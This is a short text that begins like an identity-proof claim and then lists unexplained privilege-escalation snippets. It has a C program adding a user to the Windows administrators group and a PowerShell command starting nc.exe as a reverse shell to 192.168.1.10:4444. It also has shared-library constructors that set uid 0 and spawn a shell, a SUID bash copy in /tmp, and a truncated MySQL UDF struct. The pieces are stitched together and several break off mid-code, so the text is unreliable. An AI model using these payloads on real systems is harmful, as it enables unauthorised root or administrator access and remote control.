ZER0 int0x33

I hereby claim:

To claim this, I am signing this object:

	#include <stdlib.h>
	int main ()
	{
	int i;
	i=system ("net localgroup administrators $lowprivUser /add");
	return 0;
	}

	$username = '<username here>'
	$password = '<password here>'
	$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
	$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
	Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory C:\Users\Public

	#include <stdio.h>
	#include <stdlib.h>

	enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

	typedef struct st_udf_args {
	unsigned int arg_count; // number of arguments
	enum Item_result *arg_type; // pointer to item_result
	char **args; // pointer to arguments
	unsigned long *lengths; // length of string args

	#include <stdio.h>
	#include <stdlib.h>

	static void inject() __attribute__((constructor));
	int random_token = 333;

	void inject(){
	setgid(0);
	setuid(0);
	execl("/bin/sh","sh",0);

	#include <stdio.h>
	#include <stdlib.h>

	static void welcome() __attribute__((constructor));

	void welcome(){
	system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
	}